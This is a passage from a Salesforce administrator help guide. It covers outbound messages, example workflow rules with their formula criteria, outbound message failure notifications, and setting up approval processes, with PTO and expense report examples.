created. This API version is used in any API calls back to Salesforce.com using the enterprise or partner WSDLs. The
API Version can only be modified by using the Metadata API.
• Click the Click for WSDL link to view the WSDL associated with this message.
The WSDL is bound to the outbound message and contains the instructions about how to reach the endpoint service
and what data is sent to it.

6. If your endpoint uses a client certificate, right-click the Download Client Certificate link on the outbound message detail
page, and save the certificate to the appropriate location. Then you can import the downloaded certificate into your
application server, and configure your application server to request the client certificate.
7. To set outbound messages into action, associate them with a workflow rule, approval process, or entitlement process.

1424
Create Managing Outbound Messages

Note: If you do not have these options, your organization does not have outbound messages enabled. Contact
salesforce.com to enable outbound messages for your organization.

See Also:
Tracking Outbound Message Delivery Status
Managing Outbound Messages
Managing Workflow and Approvals
Entitlement Management Overview
Web Services API Developer's Guide

Selecting Existing Actions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To select existing actions: “Customize Application”

Workflow actions created for a workflow rule or approval process can be associated with other workflow rules and approval
processes.
To associate existing workflow actions with a workflow rule:

1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Workflow Rules.


2. Select the workflow rule.
3. Click Edit in the Workflow Actions section.
4. Click Add Workflow Action in either the Immediate Workflow Actions or Time-Dependent Actions section, depending
on when you want the action to occur, and choose Select Existing Action. See Configure Workflow Actions on page 1404.
5. Select the type of action you want to associate with the workflow rule. The Available Actions box lists all existing actions
of the selected type.
6. Optionally, enter the name of a specific action in the text field and click Find.
7. Select the actions in the Available Actions box and use the right arrow to move the actions to the Selected Actions box.
If necessary, select the left arrow to move actions from the Selected Actions box to the Available Actions box.
8. Click Save when you are done.

To associate existing workflow actions with an approval process:

1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval Processes.


2. Click the name of an existing approval process.
3. Depending on when you want the action to occur, do one of the following:

• Click Add Existing in the Initial Submission Actions, Final Approval Actions, Final Rejection Actions, or Recall
Actions section.

1425
Create Managing Outbound Messages

• Click Show Actions in the Approval Steps section, then click Add Existing in the Approval, Rejection, or Recall
Actions section.

See Selecting Approval Actions on page 1469.


4. Select the type of action you want to associate with the approval process. The Available Actions box lists all existing actions
of the selected type.
5. Optionally, enter the name of a specific action in the text field and click Find.
6. Select the actions in the Available Actions box that you want to associate with the approval process, and use the right
arrow to move the actions to the Selected Actions box.
If necessary, select the actions in the Selected Actions box that you do not want to associate with the approval process,
and use the left arrow to move the actions to the Available Actions box.
7. Click Save when you are done.

See Also:
Managing Workflow Rules
Creating Workflow Rules
Managing Workflow Actions

Examples of Workflow Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change workflow rules, email alerts, tasks, field “Customize Application”
updates, and outbound messages:

Use the following workflow rule examples to learn how you can implement common business objectives.
Business Process
Follow Up when a Platinum Contract Case Closes
New Customer Credit Check
Platinum Account Owner Visibility on High Priority Cases

Cross-Object Processes
Cases Filed for Top Accounts
Setting Default Opportunity Name
Setting the Target Resolution Date for Cases
Updating Application Record When Candidate Accepts Job

1426
Create Managing Outbound Messages

Deal Management
Tracking Closed Opportunities
Default Opportunity Close Date
Reporting Lost Opportunities
Unassigned Lead Management

Notifications
Change of Account Owner
Contact Birthday Reminder
High Value Opportunity
Notify Account Owners of Updates by Others

See Also:
Managing Workflow and Approvals
Managing Workflow Actions
Creating Workflow Rules
Time-Dependent Action and Time Trigger Considerations
Managing Email Alerts
Managing Tasks for Workflow and Approvals
Managing Field Updates

Business Process

Follow Up when a Platinum Contract Case Closes


This example assumes there is a Contract Type custom picklist used to identify the contract level on cases, and that the
picklist contains the value “Platinum.”
Object
Case

Description
Send a feedback request in email to the case contact seven days after a high priority case is closed if the customer has a
platinum contract agreement.

Evaluation Criteria
When a record is created, or when a record is edited and did not previously meet the rule criteria.

Rule Criteria (Filter)


Run this rule if the following criteria are met:

(Case: Priority equals High) and


(Case: Closed equals True) and
(Case: Contract Type equals Platinum)

1427
Create Managing Outbound Messages

Immediate Actions
None.

Time-Dependent Actions

7 Days After Case: Date/Time Closed


Email Alert: Send a feedback request to the case contact.

New Customer Credit Check


This example assumes there is a New Customer custom field on opportunities.
Object
Opportunity

Description
Assign the Accounts Receivable (AR) department a task to check the credit of a potential customer 15 days before the
opportunity close date if the amount is greater than $50,000.

Evaluation Criteria
When a record is created, or when a record is edited and did not previously meet the rule criteria.

Rule Criteria (Filter)


Run this rule if the following criteria are met:

(Opportunity: Amount greater than 50000) and


(Opportunity: Closed equals False) and
(Opportunity: New Customer equals True)

Immediate Actions
None.

Time-Dependent Actions

15 Days Before Opportunity: Close Date


Task: Create a task for users in the Accounts Receivable role to run a credit check.

Platinum Account Owner Visibility on High Priority Cases


This example assumes there is a Service Level Agreement custom picklist called SLA that identifies the agreement level on
accounts and contains the value “Platinum.”
Object
Case

Description
Notify the account owner when a high priority case is created for accounts with a platinum service level agreement.

Evaluation Criteria
Only when a record is created.

1428
Create Managing Outbound Messages

Rule Criteria (Filter)


Run this rule if the following criteria are met:

(Case: Priority equals High) and


(Account: SLA equals Platinum)

Immediate Actions
Email Alert: Email the details of the high priority case to the account owner.

Time-Dependent Actions
None.

Cross-Object Processes

Cases Filed for Top Accounts


Use the following workflow rule if your sales VP wants to know about any cases filed for top accounts, where top accounts are
determined by size and revenue.
Object
Case

Description
Notify Sales VP about any cases filed for top accounts.

Evaluation Criteria
Only when a record is created.

Rule Criteria (Formula)


Run this rule if the following formula evaluates to true:

AND(Account.AnnualRevenue > 500000, Account.NumberOfEmployees > 5000)

Immediate Actions
Email Alert: Notify VP about cases for big accounts.

Time-Dependent Actions
None.

Setting Default Opportunity Name


The opportunity naming convention for some companies is Account Name: Opportunity Name. To automate the default
name of each opportunity in your organization, create the workflow rule below.
Object
Opportunity

Description
Enforce opportunity naming convention.

1429
Create Managing Outbound Messages

Evaluation Criteria
Every time a record is created or edited

Rule Criteria (Formula)


Run this rule if the following formula evaluates to true:

NOT(CONTAINS( Name, Account.Name ))

Immediate Actions
Field Update: Set opportunity name to the following formula:

Account.Name & ": " & Name

Time-Dependent Actions
None.

Setting the Target Resolution Date for Cases


This example illustrates how to automatically set a case resolution date based on the value of a field on the associated account.
It uses a custom picklist field on accounts called Support Level, which has three values, “Basic,” “Standard,” and “Premium,”
as well as a custom date field on cases called Target Resolution Date.
Use the following three workflow rule examples to automatically set the target resolution date of a case based on the support
level for the related account.
Set Resolution Date for Basic Support
Object
Case

Description
Sets the case target resolution date for accounts that have basic support level to 30 days from today.

Evaluation Criteria
Only when a record is created

Rule Criteria (Formula)


Run this rule if the following formula evaluates to true:

ISPICKVAL(Account.Support_Level__c , "Basic")

Immediate Actions
Field Update: Set the Target Resolution Date to Today() + 30

Time-Dependent Actions
None.

Set Resolution Date for Standard Support


Object
Case

1430
Create Managing Outbound Messages

Description
Sets the case target resolution date for accounts that have standard support level to 14 days from today.

Evaluation Criteria
Only when a record is created

Rule Criteria (Formula)


Run this rule if the following formula evaluates to true:

ISPICKVAL(Account.Support_Level__c , "Standard")

Immediate Actions
Field Update: Set the Target Resolution Date to Today() + 14

Time-Dependent Actions
None.

Set Resolution Date for Premium Support


Object
Case

Description
Sets the case target resolution date for accounts that have premium support level to 5 days from today.

Evaluation Criteria
Only when a record is created

Rule Criteria (Formula)


Run this rule if the following formula evaluates to true:

ISPICKVAL(Account.Support_Level__c , "Premium")

Immediate Actions
Field Update: Set the Target Resolution Date to Today() + 5

Time-Dependent Actions
None.

Updating Application Record When Candidate Accepts Job


Use the following workflow rule if you want to close the Application record when a Candidate accepts a job. Cross-object
field updates to the master record are supported between custom objects in a master-detail relationship.
Object
Candidate

Description
Changes the Application Status to “Closed” for the custom Application object when the Candidate Status for the custom
Candidate object changes to “Accepted.”

1431
Create Managing Outbound Messages

Evaluation Criteria
When a record is created, or when a record is edited and did not previously meet the rule criteria.

Rule Criteria (Formula)


Run this rule if the following criteria are met:

(Candidate: Status equals Accepted)

Immediate Actions
Field Update: Change Application Status field to “Closed” on parent Application record.

Time-Dependent Actions
None.

Deal Management

Tracking Closed Opportunities


This example assumes there is a “Closed Opportunities” record type that provides additional information to certain profiles.
Note: For information on record types, see Managing Record Types on page 1004.

Object
Opportunity

Description
Change the record type of closed-won opportunities.

Evaluation Criteria
Every time a record is created or edited.

Rule Criteria (Filter)


Run this rule if the following criteria are met:

(Opportunity: Closed equals True) and


(Opportunity: Stage equals Closed Won)

Immediate Actions
Field Update: Set the record type to “Closed Opportunities.”

Time-Dependent Actions
None.

Default Opportunity Close Date


Object
Opportunity

1432
Create Managing Outbound Messages

Description
Override the default close date from the close of the quarter to six months after the opportunity is created.

Evaluation Criteria
Only when a record is created.

Rule Criteria (Filter)


Run this rule if the following criteria are met:

(Opportunity: Closed equals False)

Immediate Actions
Field Update: Use the following formula to set the opportunity close date to six months after the creation date:

DATE( YEAR(TODAY()) , (MONTH(TODAY()) + 6), DAY(TODAY()))

Time-Dependent Actions
None.

Reporting Lost Opportunities


Object
Opportunity

Description
Notify the VP of Sales when a deal is lost if the stage was “Proposal/Price Quote” and the amount was greater than
$1,000,000.

Evaluation Criteria
Every time a record is created or edited.

Rule Criteria (Formula)


Run this rule if the following formula evaluates to true:

AND( ISCHANGED(StageName), ISPICKVAL(PRIORVALUE(StageName) , "Proposal/Price Quote"),


ISPICKVAL(StageName,"Closed Lost"), (Amount >1000000))

Immediate Actions
Email Alert: Notify the VP of Sales role that the deal was lost.

Time-Dependent Actions
None.

Unassigned Lead Management


This example assumes that all unassigned leads are placed in an unassigned leads queue by a leads assignment rule.
Object
Lead

1433
Create Managing Outbound Messages

Description
Ensure that unassigned leads are tracked in a timely manner by notifying the manager if a lead is not accepted in two
days.

Evaluation Criteria
When a record is created, or when a record is edited and did not previously meet the rule criteria.

Rule Criteria (Filter)


Run this rule if the following criteria are met:

Lead Owner equals Unassigned Lead Queue

Immediate Actions
None.

Time-Dependent Actions

2 Days After Lead: Last Modified Date


Email Alert: Notify the manager role that there are unassigned leads in the queue that are older than two days.

Send Alert if Quote Line Item Discount Exceeds 40%


Object
Quote Line Item

Description
Ensure that an email alert is sent if a sales rep applies a quote line item discount that exceeds 40%.

Evaluation Criteria
When a record is created, or when a record is edited and did not previously meet the rule criteria.

Rule Criteria (Filter)


Run this rule if the following criteria are met:

Quote Line Item: Discount is greater than 40

Immediate Actions
Email Alert: Notify the manager role that the quote line item discount exceeds 40%.

Notifications

Change of Account Owner


Object
Account

Description
Notify key people in the sales department when the owner of an account changes if the account's annual revenue is
greater than $1,000,000.

1434
Create Managing Outbound Messages

Evaluation Criteria
Every time a record is created or edited.

Rule Criteria (Formula)


Run this rule if the following formula evaluates to true:

AND( ISCHANGED(OwnerId), AnnualRevenue > 1000000 )

Immediate Actions
Email Alert: Notify the person in the sales operations role of the change in account ownership.

Time-Dependent Actions
None.

Contact Birthday Reminder


This example assumes there is a Next Birthday custom formula field that uses the following formula to calculate the date
of the contact's next birthday on contact records:

IF(MONTH(Birthdate)>MONTH(TODAY()),DATE(YEAR(TODAY()),MONTH(Birthdate),DAY(Birthdate)),
IF(MONTH(Birthdate)<MONTH(TODAY()),DATE(YEAR(TODAY())+1,MONTH(Birthdate),DAY(Birthdate)),
IF(DAY(Birthdate) >= (DAY(TODAY())),DATE(YEAR(TODAY()),MONTH(Birthdate),DAY(Birthdate)),
DATE(YEAR(TODAY())+1,MONTH(Birthdate),DAY(Birthdate)))))

Object
Contact

Description
Send an email to the contact two days before the contact's birthday.

Evaluation Criteria
Only when a record is created.

Rule Criteria (Filter)


Run this rule if the following formula evaluates to true:

(Contact: Birthdate not equal to null) and


(Contact: Email not equal to null)

Immediate Actions
None.

Time-Dependent Actions

2 Days Before Contact: Next Birthday


Email Alert: Send a birthday greeting to the contact's email address.

High Value Opportunity


Object
Opportunity

1435
Create Managing Outbound Messages

Description
Remind the opportunity owner and senior management when the close date is approaching for a large deal, an opportunity
that has an amount greater than $10,000. Also, create a follow-up task for the opportunity owner if the deal is still open
when the close date passes.

Evaluation Criteria
When a record is created, or when a record is edited and did not previously meet the rule criteria.

Rule Criteria (Filter)


Run this rule if the following criteria are met:

(Opportunity: Amount greater than 100000) and


(Opportunity: Closed equals False)

Immediate Actions
None.

Time-Dependent Actions

30 Days Before Opportunity: Close Date


Email Alert: Notify the opportunity owner that 30 days remain.

15 Days Before Opportunity: Close Date


Email Alert: Notify the opportunity owner that 15 days remain.

5 Days After Opportunity: Close Date


Task: Create a follow-up task for the opportunity owner to update the deal.
Email Alert: Notify senior management to involve executives.

Notify Account Owners of Updates by Others


Object
Account

Description
Notify the account owner when someone else updates the account if the account's annual revenue is greater than
$1,000,000.

Evaluation Criteria
Every time a record is created or edited.

Rule Criteria (Formula)


Run this rule if the following formula evaluates to true:

AND( (LastModifiedById <> CreatedById), (AnnualRevenue > 1000000) )

Immediate Actions
Email Alert: Notify the account owner that someone else has updated the account.

1436
Create Outbound Message Notifications

Time-Dependent Actions
None.

Outbound Message Notifications


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view or edit outbound message notification settings: “Customize Application”

An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you
designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP
message to the endpoint.
Salesforce.com creates a notification once every 24 hours, listing all the outbound messages that have failed for at least 24
hours. This notification is sent to any user that you specify by creating a notification request—one request per user. You can
create up to five notification requests.
Failed messages are deleted from the failed outbound messages related list after seven days. Before they are removed, you can
delete them yourself or request that they be retried again.
To view the current outbound message notification requests, click Setup ➤ Monitoring ➤ Outbound Message Notifications.
You can perform several tasks here:

• Click Edit to edit a notification.


• Click Del to delete a notification. Since you can only create five, you may need to delete one before you can create more
new notifications.
• Click New to create a new notification request.

Note: If you do not have these options, your organization does not have outbound messages enabled. Contact
salesforce.com to enable outbound messages for your organization.

1437
Create Outbound Message Notifications

Creating and Editing Outbound Message Notifications


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view or edit outbound message notification settings: “Modify All Data”

An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you
designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP
message to the endpoint.
Salesforce.com creates a notification once every 24 hours, listing all the outbound messages that have failed for at least 24
hours. This notification is sent to any user that you specify by creating a notification request—one request per user. You can
create up to five notification requests.
To create a notification request, click Setup ➤ Monitoring ➤ Outbound Message Notifications, and click New to display
the edit page.

1. Enter a full username, or click the icon to select it from a list of usernames.
2. Click Save to save the request, or Save & New to save this request and start a new notification request.

Note: If you do not have these options, your organization does not have outbound messages enabled. Contact
salesforce.com to enable outbound messages for your organization.

Viewing Outbound Message Notification Requests


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view or edit outbound message notification settings: “Modify All Data”

An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you
designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP
message to the endpoint.
Salesforce.com creates a notification once every 24 hours, listing all the outbound messages that have failed for at least 24
hours. This notification is sent to any user that you specify by creating a notification request—one request per user. You can
create up to five notification requests.
This page is displayed when you have saved a new notification request. You can perform several tasks:

• Click Edit to change the username for a notification request, which is simpler than deleting the request and then creating
a new one.

1438
Create Approval Processes Overview

• Click Delete to delete the notification request.


• Click Clone to create a new notification request with the same username filled in.

Approval Processes Overview


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use approvals: Various user permissions required depending on the action

Your business runs more efficiently with automated processes. For example, you may already have workflow rules that
automatically send email alerts or assign tasks based on your internal processes. Approvals take automation one step further,
allowing you to specify a sequence of steps that are required to approve a record.
An approval process is an automated process your organization can use to approve records in Salesforce.com. An approval
process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all
records included in the process, or just records that have certain attributes. An approval process also specifies the actions to
take when a record is approved, rejected, recalled, or first submitted for approval.
For example, your organization may have a two-step process for approving expenses: submitted expenses that are less than
$50 are automatically approved, those over $50 must be approved by a manager, and those over $5,000 must also be approved
by a Vice President. In this example, your approval process would specify the following:

• If an expense record is submitted for approval, lock the record so that users cannot edit it and change the status to
“Submitted.”
• If the amount is $50 or less, automatically approve the request.
• If the amount is greater than $50, send an approval request to the direct manager.
• If the amount is greater than $5,000 and the first approval request is approved, send an approval request to the Vice
President.
• If all approval requests are approved, change the status to “Approved” and unlock the record.
• If any approval requests are rejected, change the status to “Rejected” and unlock the record.

An approval process includes the following elements:

• A name and description to distinguish it from other approval processes


• Entry criteria if you only want records with certain attributes to be included
• A designated user who can approve requests
• Settings to specify who, if anyone, can change a record once it has been submitted for approval
• Any number of steps that determine the sequence of actions to take when a record matches the criteria. Each step can have
up to 40 actions, 10 of each type: email alerts, field updates, tasks, and outbound messages.
• Up to 40 additional actions that occur when a record is initially submitted
• Up to 40 additional actions that occur when a record is approved
• Up to 40 additional actions that occur when a record is rejected
• Up to 40 additional actions that occur when a record is recalled

1439
Create Approval Processes Overview

To begin designing your approval processes, see Getting Started with Approval Processes on page 1444.

See Also:
Creating Approval Processes
Approval Process Terminology
Examples of Approval Processes

Getting Started with Approval Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create approval processes: “Customize Application”

An approval process is an automated process your organization can use to approve records in Salesforce.com. An approval
process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all
records included in the process, or just records that have certain attributes. An approval process also specifies the actions to
take when a record is approved, rejected, recalled, or first submitted for approval.
Before you begin creating an approval process:

• Review the Approval Process Checklist to prepare for your implementation and determine what wizard to use.
• Optionally, enable the email approval response option. The email approval response feature gives users the ability to approve
or reject email approval requests by replying to the email. See Customizing Workflow and Approval Settings on page 1410.

To automate your organization's processes:

1. Create an approval process.


2. Add steps to your approval process.
3. Specify initial submission actions.
4. Specify final approval actions.
5. Specify final rejection actions.
6. Specify recall actions.
7. If this is the first approval process you are creating:

• Add the Approval History related list to the appropriate page layout. The Approval History related list lets users submit
approval requests and track a record's progress through an approval process from the record detail page. See Customizing
Page Layouts on page 1014.
• Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of
the approval requests they need to approve or reject. For instructions on adding this related list, see Designing Home
Tab Page Layouts on page 1042.
• Populate all custom hierarchy fields with the appropriate values.

1440
Create Approval Processes Overview

8. Use the Process Visualizer to display a graphical version of an approval process. The view-only diagram is presented as a
flowchart. The diagram and informational sidebar can help you visualize and understand the defined steps, rule criteria,
and actions that comprise your approval process.

Note: Standard reports for approval requests are included in both the Administrative Reports folder and the Activities
Reports folder. See Administrative Reports on page 2130 and Activity Reports on page 2095.

See Also:
Approval Process Terminology
Approval Process Considerations
Managing Approval Processes
Using the Approval Process Jump Start Wizard
Choosing an Approval Process Wizard
Examples of Approval Processes
Using the Process Visualizer

Approval Process Terminology


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use approvals: Various user permissions required depending on the action

The following terminology is used for approval processes in Salesforce.com:


Approval Actions
An approval action is an action that occurs as a result of an approval process. There are four types of approval actions:

Type Description
Task Assigns a task to a user you specify. You can specify the Subject, Status, Priority,
and Due Date of the task.
Email Alert Uses an email template you specify to send an email to a designated recipient.
Field Update Changes the value of a selected field. You can specify a value or create a formula for the
new value.
Outbound Message Sends a message to an endpoint you designate. You can also specify a username and the
data you want to include in the message.

Approval steps, initial submission, final approvals, final rejections, and recalls can execute approval actions. Both approval
process and workflow rules share actions..

1441
Create Approval Processes Overview

Approval Process
An approval process is an automated process your organization can use to approve records in Salesforce.com. An approval
process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply
to all records included in the process, or just records that have certain attributes. An approval process also specifies the
actions to take when a record is approved, rejected, recalled, or first submitted for approval. For more information, see
Approval Processes Overview on page 1439.

Approval Request
An approval request is an email notifying the recipient that a record was submitted for approval and his or her approval
is requested.

Approval Steps
Approval steps assign approval requests to various users and define the chain of approval for a particular approval process.
Each approval step specifies the attributes a record must have to advance to that approval step, the user who can approve
requests for those records, and whether to allow the delegate of the approver to approve the requests. The first approval
step in a process also specifies the action to take if a record does not advance to that step. Subsequent steps in the process
also allow you to specify what happens if an approver rejects the request.

Assigned Approver
The assigned approver is the user responsible for approving an approval request.

Delegated Approver
A delegated approver is a user appointed by an assigned approver as an alternate for approval requests. Delegated approvers
can't reassign approval requests; they can only approve or reject approval requests.

Email Approval Response


The email approval response feature gives users the ability to approve or reject email approval requests by replying to the
email.
The first line of the email body may contain one of the following words:

• approve
• approved
• yes
• reject
• rejected
• no

Periods and exclamation marks are also accepted at the end of the word. You can also optionally add comments in the
second line of the email body. Users can still click a link in the email to access the approval page as well. This feature is
especially useful for organizations with users who receive approval requests on mobile devices.
To enable email approval response, see Customizing Workflow and Approval Settings on page 1410.
Note: Before enabling email approval response, note that you cannot use this feature with approval processes
in which the assigned approver is a queue, or in a multi-step approval process in which the next approver is
manually chosen after the first step. Also, users that use Microsoft Word as their email editor must add the
comments to the end of the first line of the reply email instead of the second.

1442
Create Approval Processes Overview

Initial Submission Actions


Initial submission actions are the actions that occur when a user first submits a record for approval. By default, an action
to lock the record runs automatically on initial submission. Initial submission actions can include any approval actions
such as email alerts, field updates, tasks, or outbound messages. For example, an initial submission action can update a
custom approval status field to “In Progress.”

Final Approval Actions


Final approval actions are the actions that occur when all required approvals have been given for a record. Final approval
actions can include email alerts, field updates, tasks, or outbound messages. For example, a final approval action can
change the status to “Approved” and send an email notification.

Final Rejection Actions


Final rejection actions are the actions that occur when an approver rejects the request and it goes to the final rejection
state. Final rejection actions can include email alerts, field updates, tasks, or outbound messages. For example, a final
rejection action can change the status to “Rejected,” send an email notification, and unlock the record so that users can
edit it before resubmitting.

Outbound Message
An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint
you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a
SOAP message to the endpoint.

Recall Actions
Recall actions are the actions that occur when a submitted approval request is recalled. By default, an action to unlock
the record runs automatically on recall. Recall actions can include email alerts, field updates, tasks, or outbound messages.
For example, a recall action can change the status of a request from “In Progress” to “Not Submitted.”

Record Locking
Record locking is the process of preventing users from editing a record, regardless of field-level security or sharing
settings. Salesforce.com automatically locks records that are pending approval. Users must have the “Modify All”
object-level permission for the given object, or the “Modify All Data” permission, to edit locked records. The Initial
Submission Actions, Final Approval Actions, Final Rejection Actions, and Recall Actions related lists contain Record
Lock actions by default. You cannot edit this default action for initial submission and recall actions. You can still add
campaign members to campaigns locked for approval.

See Also:
Approval Processes Overview
Getting Started with Approval Processes
Approval Process Checklist

1443
Create Getting Started with Approval Processes

Getting Started with Approval Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create approval processes: “Customize Application”

An approval process is an automated process your organization can use to approve records in Salesforce.com. An approval
process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all
records included in the process, or just records that have certain attributes. An approval process also specifies the actions to
take when a record is approved, rejected, recalled, or first submitted for approval.
Before you begin creating an approval process:

• Review the Approval Process Checklist to prepare for your implementation and determine what wizard to use.
• Optionally, enable the email approval response option. The email approval response feature gives users the ability to approve
or reject email approval requests by replying to the email. See Customizing Workflow and Approval Settings on page 1410.

To automate your organization's processes:

1. Create an approval process.


2. Add steps to your approval process.
3. Specify initial submission actions.
4. Specify final approval actions.
5. Specify final rejection actions.
6. Specify recall actions.
7. If this is the first approval process you are creating:

• Add the Approval History related list to the appropriate page layout. The Approval History related list lets users submit
approval requests and track a record's progress through an approval process from the record detail page. See Customizing
Page Layouts on page 1014.
• Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of
the approval requests they need to approve or reject. For instructions on adding this related list, see Designing Home
Tab Page Layouts on page 1042.
• Populate all custom hierarchy fields with the appropriate values.

8. Use the Process Visualizer to display a graphical version of an approval process. The view-only diagram is presented as a
flowchart. The diagram and informational sidebar can help you visualize and understand the defined steps, rule criteria,
and actions that comprise your approval process.

1444
Create Getting Started with Approval Processes

Note: Standard reports for approval requests are included in both the Administrative Reports folder and the Activities
Reports folder. See Administrative Reports on page 2130 and Activity Reports on page 2095.

See Also:
Approval Process Terminology
Approval Process Considerations
Managing Approval Processes
Using the Approval Process Jump Start Wizard
Choosing an Approval Process Wizard
Examples of Approval Processes
Using the Process Visualizer

Approval Process Checklist


Available in: Enterprise, Unlimited, and Developer Editions

Plan each approval process carefully to ensure a successful implementation. Review the following checklist about preparing
the appropriate information before creating your approval process.

• Prepare an approval request email template.


• Determine the approval request sender.
• Determine the assigned approver.
• Determine the delegated approver.
• Decide if your approval process needs a filter.
• Design initial submission actions.
• Decide if users can approve requests from a wireless device.
• Determine if users can edit records that are awaiting approval.
• Decide if records should be auto-approved or rejected.
• Determine how many levels your process has.
• Determine the actions when an approval request is approved or rejected.

What email template do you want to use for approval requests?


The email template you specify on an approval process is used when notifying users that an approval request is assigned
to them. You can use the default email template Salesforce.com offers if it is appropriate for your approval process, or
you can create your own email template. Include the appropriate approval process merge fields to link directly to the
approval request. For details about using merge fields, see Merge Fields Overview on page 414. If your organization has
enabled email approval response, the default email template includes instructions for replying to an email approval request
by typing approve, approved, yes, reject, rejected, or no in the first line of the email body, and optionally
adding comments in the second line. For details on email approval response and the default template, see Customizing
Workflow and Approval Settings on page 1410.

1445
Create Getting Started with Approval Processes

Determine who should be the sender of approval requests.


The approval request notifications are automatically sent from the user who submitted the record for approval. You have
the option to assign a different return email address to these notifications. Determine what email address to use.

Who will be responsible for approving requests?


Requests can be approved or rejected by any of the following:

• A user or queue that the approval request submitter chooses.


• A queue specified by the administrator.
• A user listed in the Manager standard field on the submitter's user detail page.
• A user listed in a custom hierarchy field on the submitter's user detail page.
• Any combination of users and related users (users listed in a standard or custom field on the submitted record)
specified by the administrator.

Each step in your approval process can assign approval requests using any of these options.

Should approval requests be delegated to another user for approval?


An approval request can be approved by a designated delegate for the approver. However, you have the ability to disable
this option. Determine if you want to allow delegated users to approve requests. Then, for each user, populate the
Delegated Approver field on the user's detail page.

What records should be included in this process?


Determine what attributes a record must have to be included in your approval process. If necessary, create the custom
fields to store this information so that you can use it in your filter criteria. For example, if you want to include expense
records from your headquarters office only, create a custom picklist field called Office Location that has two options:
“HQ” and “Field.” Then, your filter criteria for the process would specify that records must have “HQ” in the Office
Location field to be included.

What should occur when a record is first submitted for approval?


When users submit a record for approval, Salesforce.com automatically locks the record so that other users cannot change
it while it is awaiting approval. You can still add campaign members to campaigns locked for approval.
Decide if you want other workflow actions to occur when a record is first submitted, such as email alerts, tasks, field
updates, and outbound messages. These actions belong on your list of Initial Submission Actions.

Should users be able to approve requests from a wireless device?


Determine if you want to require users to log in to Salesforce.com to approve requests. Alternatively, you can set up your
approval process to allow users to approve requests remotely using a wireless browser.

Who can edit records that are awaiting approval?


Records submitted for approval are automatically locked. Users with the “Modify All” object-level permission for the
given object, or the “Modify All Data” permission, can always unlock a record and edit it. However, you may also specify
that the currently assigned approver can edit the record as well. You can still add campaign members to campaigns locked
for approval.

Should records be automatically approved, rejected, or skipped based on certain criteria?


You can set entry criteria for each step of your process, and configure Salesforce.com to automatically approve, reject,
or skip the process if a record does not meet that entry criteria. For example, all expenses submitted with an Amount
less than $15 are automatically approved.

1446
Create Getting Started with Approval Processes

How many people need to approve these requests?


An approval process can have several layers of approvals. Determine how many users need to approve requests and in
what order.

Should any actions take place when a request is approved or rejected?


You can set up to 40 additional actions to take place when a request is recalled, approved, or rejected at each step, up to
10 of each of the following types:

Type Description
Task Assigns a task to a user you specify. You can specify the Subject, Status, Priority,
and Due Date of the task.
Email Alert Uses an email template you specify to send an email to a designated recipient.
Field Update Changes the value of a selected field. You can specify a value or create a formula for the
new value.
Outbound Message Sends a message to an endpoint you designate. You can also specify a username and the
data you want to include in the message.

Additionally, you can set up to 40 additional actions to take place when a record has received all necessary approvals or
is completely rejected.

See Also:
Getting Started with Approval Processes
Approval Processes Overview
Examples of Approval Processes

Examples of Approval Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create approval processes: “Customize Application”

Use these samples of common approval processes to help you get started creating your own:

• PTO Requests
• Expense Reports
• Discounting Opportunities
• Job Candidates

1447
Create Getting Started with Approval Processes

PTO Requests
Most companies require employees to file a PTO (Paid Time Off ) request and have their manager approve it. Here's how to
automate a simple one-step PTO request process using Salesforce.com.
• If you do not yet have a custom object to track your PTO requests, create a custom object and tab called PTO Requests.
See Defining Custom Objects on page 1369 and Defining Custom Tabs on page 1394. Add the appropriate fields for your
PTO Requests such as Start Date, End Date, and Employee Name.
• Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the
approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 423.
• Use the jump start wizard to create an approval process and specify the following:
- Select the PTO Request custom object.
- Select the email template you created for this approval process.
- No need to specify a filter criteria if you want each user to submit PTO requests and have them included regardless of
their attributes.
- In the Automatically assign an approver using a standard or custom hierarchy field option,
choose the Manager field.
- The jump start wizard automatically chooses the record owner as the only person who can submit PTO requests.
Tip: If you want the submitter to be able to withdraw a submitted PTO request:
1. Click Edit and choose Initial Submitters from the drop-down menu.
2. Select the Allow submitters to recall approval requests option.
If the Allow submitters to recall approval requests option is selected for the approval process, both submitters
and administrators can see the Recall Approval Request button in the Approval History related list on the detail
page of submitted records; otherwise, only administrators can see it. When a user clicks Recall Approval Request,
the pending approval request for the record is withdrawn and recall actions are run. For more information, see
Recall Actions on page 1468.

• Add the Approval History related list to the PTO Request object page layout. See Customizing Page Layouts on page
1014.
• Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of the
approval requests they need to approve or reject. For instructions on adding this component to your home page layouts,
see Designing Home Tab Page Layouts on page 1042.
• If available, use your sandbox to test the approval process.
• Activate the approval process.

Expense Reports
If your company requires that employees file expense reports for managers to approve, automate this process in Salesforce.com.
Use this example to create a two-step expense report approval process for all employees in your headquarters office. It specifies
that expenses less than $50.00 are automatically approved, those $50 and over require manager approval, and those over $5,000
